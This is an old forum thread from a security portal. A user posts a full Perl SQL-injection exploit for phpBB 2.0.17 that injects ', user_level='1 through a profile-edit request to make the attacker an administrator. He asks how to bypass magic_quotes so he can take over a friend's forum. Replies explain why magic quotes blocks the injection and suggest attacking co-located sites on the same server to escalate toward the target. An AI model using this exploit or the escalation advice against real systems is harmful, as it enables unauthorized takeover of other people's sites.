Waraxe IT Security Portal
Login or Register
September 3, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 156
Members: 0
Total: 156
Full disclosure
CyberDanube Security Research 20260611-0 | Multiple Denial of Service Vulnerabilities in Dahua IPC/SD/NVR/XVR/EVS/VTO/VT H/ASI/TPC Camera Series
Multiple Integer Overflows in U-Boot Filesystem Parsing(CVE-2025-70290 through CVE-2025-70293)
[ADVISORY] Multiple Integer Overflows in U-Boot FilesystemParsing (CVE-2025-70290 through CVE-2025-70293)
JSON Deserialiser Unconstrained Resource Consumption Proof ofConcept
Dovecot Security Advisory 3/2026
FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)
[NotCVE-2026-0013] CHIRP Kenwood ITM Driver Eval Injection Allows Arbitrary Code Execution via Crafted Radio File
[NotCVE-2026-0012] EmpManageX Hardcoded Administrative Credentials in Login API Allow Full Access to Employee Records
[NotCVE-2026-0011] Nmap 7.99 and Earlier nselib/packet.lua Zero-Length TCP Option Infinite Loop Allows Remote Denial of Service
[NotCVE-2026-0010] Barrier 2.4.0 for Windows Unauthenticated IPC Command Execution Allows Local Privilege Escalation to SYSTEM
[NotCVE-2026-0009] NitroShare Desktop 0.3.4 Path Traversal Allows LAN-Adjacent Arbitrary File Write
Escargot v4.3.0-214-gfaee4437 Unauthenticated Remote Debugger Allows Arbitrary JavaScript Evaluation and Local File Disclosure
Escargot v4.3.0-214-gfaee4437 OS Command Injection in Crash Handler via Unsanitized Executable Path
Escargot v4.3.0-214-gfaee4437 Debugger WebSocket Off-by-One Stack Buffer Overflow
UltraJSON v5.13.0-6-g733f9e1 Length-Boundary Violation Causes Out-of-Bounds Read During Incomplete JSON Parsing
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> phpBB 2.0.17 - any way to hack with magic quotes on?
Post new topicReply to topic View previous topic :: View next topic
phpBB 2.0.17 - any way to hack with magic quotes on?
PostPosted: Sat Jun 20, 2009 10:08 pm Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




Hi guys ...

I used the sql injection exploit:


Code:

#!/usr/bin/perl

# Exploit for sql injection in phpbb <=2.0.17
# It works with php5, with register_globals on and magic_quotes_gpc off
# Author: Eax (eax@cc-team.org)


use strict;
use LWP::UserAgent;
use Digest::MD5 'md5_hex';

if (@ARGV<6){
print "Usage $0 host path your_id your_password your_email your_username\n";
print "example: $0 target.org /phpbb/ 10 blebleble ble\@ble.pl ble\n\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = $ARGV[2];
my $passwd = $ARGV[3];
my $mail = $ARGV[4];
my $username = $ARGV[5];

$passwd = md5_hex($passwd);

my $cookie_string = "phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%2
2".$passwd."%22%3Bs%3A6%3A%22userid%22%3Bi%3A".$userid."%3B%7D";

my $browser = LWP::UserAgent->new ();
$browser->default_header(Cookie=>$cookie_string);

my $address = 'http://'.$host.$path.'profile.php';
my $response = $browser->post($address, [ "username" => $username, "email" => $mail,
"mode"=>'editprofile', "agreed"=>'true', "coppa"=>'0', "user_id"=>$userid, "
current_email"=>$mail, "submit"=>"Submit", 'GLOBALS[signature_bbcode_uid]'=>"', u
ser_level='1"]);

print "if everything was ok you should have admin rights now Smile\n";


As i thought ... magic_quotes is on ... is there any way to exploit it? As far as i know there's the small chance with %2527 ... but hell .... i don't really know how to do it Very Happy

And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights Very Happy

So long 12$

Thanks in advance Smile
View user's profile Send private message
Re: phpBB 2.0.17 - any way to hack with magic quotes on?
PostPosted: Sat Jun 20, 2009 10:50 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




12dollar wrote:

And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights Very Happy


But you are a script kiddy Neutral You are using milw0rm exploits lol
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Sat Jun 20, 2009 11:01 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Code:

', user_level='1


Yes, definitely "magic_quotes_gpc=off" is needed. Phpbb developers forgot to sanitize specific parameter in INSERT query, but with "magic_quotes_gpc=on" php will do it anyway Smile


Last edited by waraxe on Sat Jun 20, 2009 11:16 pm; edited 2 times in total
View user's profile Send private message Send e-mail Visit poster's website
Re: phpBB 2.0.17 - any way to hack with magic quotes on?
PostPosted: Sat Jun 20, 2009 11:06 pm Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




capt wrote:
12dollar wrote:

And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights Very Happy


But you are a script kiddy Neutral You are using milw0rm exploits lol


well .. it's kinda true ... but i'm not going to use it randomly Smile i just want to scare him once, that should be enough Smile

@ Waraxe: i didn't really get your statement ... hell it's 1 a.m. ... i think i should read your posts after i got some sleep .. or i'm just too stupid Very Happy



edit: welll i'm finally awake Very Happy is there any way now to bypass magic quotes? hell .. i'm kinda greedy Very Happy
View user's profile Send private message
PostPosted: Mon Jun 22, 2009 9:52 am Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




? any ideas left?
View user's profile Send private message
PostPosted: Mon Jun 22, 2009 10:16 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




Probably not possible with that exploit

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Mon Jun 22, 2009 12:05 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I agree with gibbocool - you need to look for other ways into the target system. As always, my suggestion is searching for possible co-located websites on same server. If you can find exploitable vulnerability in one of them, then further attack escalation - towards main target - may be possible.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Jun 22, 2009 6:12 pm Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




thanks a lot Smile
View user's profile Send private message
phpBB 2.0.17 - any way to hack with magic quotes on?
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.037 Seconds